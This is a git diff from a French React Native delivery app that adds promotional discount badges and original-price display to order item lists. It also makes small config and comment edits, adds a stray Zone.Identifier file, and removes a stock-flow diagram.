||||
<View style={{ flex: 1 }}>
|
||||
<View style={{ flexDirection: "row", alignItems: "center", gap: 4 }}>
|
||||
@@ -718,16 +725,34 @@ export default function DashboardScreen() {
|
||||
<Text style={{ fontSize: 10, color: "#f59e0b", fontWeight: "700" }}>Récompense</Text>
|
||||
</View>
|
||||
)}
|
||||
{hasPromo && (
|
||||
<View style={{ flexDirection: "row", alignItems: "center", gap: 2, backgroundColor: "rgba(34,197,94,0.15)", borderRadius: 4, paddingHorizontal: 4, paddingVertical: 1 }}>
|
||||
<Ionicons name="pricetag-outline" size={10} color="#22c55e" />
|
||||
<Text style={{ fontSize: 10, color: "#22c55e", fontWeight: "700" }}>-{promoPercent}%</Text>
|
||||
</View>
|
||||
)}
|
||||
</View>
|
||||
<Text style={styles.itemQty}>
|
||||
Quantité: {prod.quantite}{prod.unit || ""}
|
||||
</Text>
|
||||
</View>
|
||||
{hasPromo ? (
|
||||
<View style={{ alignItems: "flex-end" }}>
|
||||
<Text style={{ fontSize: 12, color: colors.textMuted, textDecorationLine: "line-through" }}>
|
||||
{originalPrice.toFixed(2)}€
|
||||
</Text>
|
||||
<Text style={[styles.itemPrice, { color: "#22c55e" }]}>
|
||||
{(prod.prix ?? 0).toFixed(2)}€
|
||||
</Text>
|
||||
</View>
|
||||
) : (
|
||||
<Text style={[styles.itemPrice, prod.is_reward ? { color: "#10b981" } : {}]}>
|
||||
{prod.is_reward && (prod.prix ?? 0) === 0 ? "Offert" : `${(prod.prix ?? 0).toFixed(2)}€`}
|
||||
</Text>
|
||||
)}
|
||||
</View>
|
||||
))}
|
||||
);
|
||||
})}
|
||||
<View style={styles.totalRow}>
|
||||
<Text style={styles.totalLabel}>Total</Text>
|
||||
<Text style={styles.totalValue}>
|
||||
@@ -2010,7 +2035,14 @@ export default function DashboardScreen() {
|
||||
</Text>
|
||||
</View>
|
||||
)}
|
||||
{detailsDelivery.items.map((prod, idx) => (
|
||||
{detailsDelivery.items.map((prod, idx) => {
|
||||
const promoDiscount = prod.promo_discount ?? 0;
|
||||
const hasPromo = !prod.is_reward && promoDiscount > 0;
|
||||
const originalPrice = (prod.prix ?? 0) + promoDiscount;
|
||||
const promoPercent = hasPromo && originalPrice > 0
|
||||
? Math.round((promoDiscount / originalPrice) * 100)
|
||||
: 0;
|
||||
return (
|
||||
<View key={idx} style={styles.detailProductRow}>
|
||||
<View style={{ flex: 1 }}>
|
||||
<View style={{ flexDirection: "row", alignItems: "center", gap: 4 }}>
|
||||
@@ -2021,16 +2053,34 @@ export default function DashboardScreen() {
|
||||
<Text style={{ fontSize: 11, color: "#f59e0b", fontWeight: "700" }}>Récompense</Text>
|
||||
</View>
|
||||
)}
|
||||
{hasPromo && (
|
||||
<View style={{ flexDirection: "row", alignItems: "center", gap: 2, backgroundColor: "rgba(34,197,94,0.15)", borderRadius: 4, paddingHorizontal: 4, paddingVertical: 1 }}>
|
||||
<Ionicons name="pricetag-outline" size={11} color="#22c55e" />
|
||||
<Text style={{ fontSize: 11, color: "#22c55e", fontWeight: "700" }}>-{promoPercent}%</Text>
|
||||
</View>
|
||||
)}
|
||||
</View>
|
||||
<Text style={styles.detailProductQty}>
|
||||
Quantité : {prod.quantite}{prod.unit || ""}
|
||||
</Text>
|
||||
</View>
|
||||
{hasPromo ? (
|
||||
<View style={{ alignItems: "flex-end" }}>
|
||||
<Text style={{ fontSize: 12, color: colors.textMuted, textDecorationLine: "line-through" }}>
|
||||
{originalPrice.toFixed(2)}€
|
||||
</Text>
|
||||
<Text style={[styles.detailProductPrice, { color: "#22c55e" }]}>
|
||||
{(prod.prix ?? 0).toFixed(2)}€
|
||||
</Text>
|
||||
</View>
|
||||
) : (
|
||||
<Text style={[styles.detailProductPrice, prod.is_reward ? { color: "#10b981" } : {}]}>
|
||||
{prod.is_reward && (prod.prix ?? 0) === 0 ? "Offert" : `${(prod.prix ?? 0).toFixed(2)}€`}
|
||||
</Text>
|
||||
)}
|
||||
</View>
|
||||
))}
|
||||
);
|
||||
})}
|
||||
</>
|
||||
) : (
|
||||
<Text style={styles.detailEmpty}>Aucun produit</Text>
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
[ZoneTransfer]
|
||||
ZoneId=3
|
||||
HostUrl=about:internet
|
||||
@@ -36,7 +36,7 @@ interface ProductCardProps {
|
||||
promo_percent?: number;
|
||||
}>;
|
||||
hasVideo?: boolean;
|
||||
videoUrl?: string;
|
||||
videoUrl?: string; // ✨ Nouveau prop pour l'URL de la vidéo
|
||||
categoryColor?: string;
|
||||
coming_soon?: boolean;
|
||||
}
|
||||
|
||||
@@ -1,5 +1,9 @@
|
||||
// ============================================
|
||||
// context/CartContext.tsx - QUANTITÉS EN GRAMMES
|
||||
// ============================================
|
||||
// ✅ quantity = grammes choisis (5, 10, 25, etc.)
|
||||
// ✅ Pas de boutons +/- dans le panier
|
||||
// ✅ Pour acheter 2× le même produit, l'ajouter 2 fois
|
||||
|
||||
import {
|
||||
createContext,
|
||||
@@ -344,3 +348,4 @@ export function CartProvider({ children }: { children: ReactNode }) {
|
||||
</CartContext.Provider>
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@ import axios from "axios";
|
||||
import { getToken, getAdminToken } from "../auth/tokenStorage";
|
||||
|
||||
export const API_BASE_URL =
|
||||
process.env.EXPO_PUBLIC_API_URL ?? "https://uber-demo.club";
|
||||
process.env.EXPO_PUBLIC_API_URL ?? "https://mln-uber.club";
|
||||
|
||||
const apiClient = axios.create({
|
||||
baseURL: API_BASE_URL,
|
||||
|
||||
@@ -220,5 +220,3 @@ export function useCart() {
|
||||
if (!context) throw new Error("useCart must be used within a CartProvider");
|
||||
return context;
|
||||
}
|
||||
|
||||
//
|
||||
|
||||
@@ -128,6 +128,7 @@ export function NotificationProvider({ children }: { children: ReactNode }) {
|
||||
}
|
||||
}, []);
|
||||
|
||||
// Polling toutes les 15 secondes
|
||||
useEffect(() => {
|
||||
fetchNotifications();
|
||||
const interval = setInterval(fetchNotifications, 15000);
|
||||
|
||||
@@ -1,17 +0,0 @@
|
||||
```mermaid
|
||||
graph TD
|
||||
A[Client ajoute au panier] -->|Décrémente stock| B[Stock -= quantité]
|
||||
B --> C[Ajout au panier]
|
||||
C -->|❌ Si échec| D[Stock déjà décrémenté!]
|
||||
|
||||
E[Client supprime du panier] -->|Transaction DB| F[Stock += quantité]
|
||||
F --> G[Suppression du panier]
|
||||
|
||||
H[Client valide commande] --> I[Panier vidé]
|
||||
I -->|Sans restaurer stock| J[Commande créée]
|
||||
|
||||
K[Client annule commande] -->|Transaction DB| L[Stock += quantité]
|
||||
L --> M[Commande annulée]
|
||||
|
||||
N[Paiement crypto échoue] -->|Transaction DB| O[Stock += quantité]
|
||||
```
|
||||
Reference in New Issue
Block a user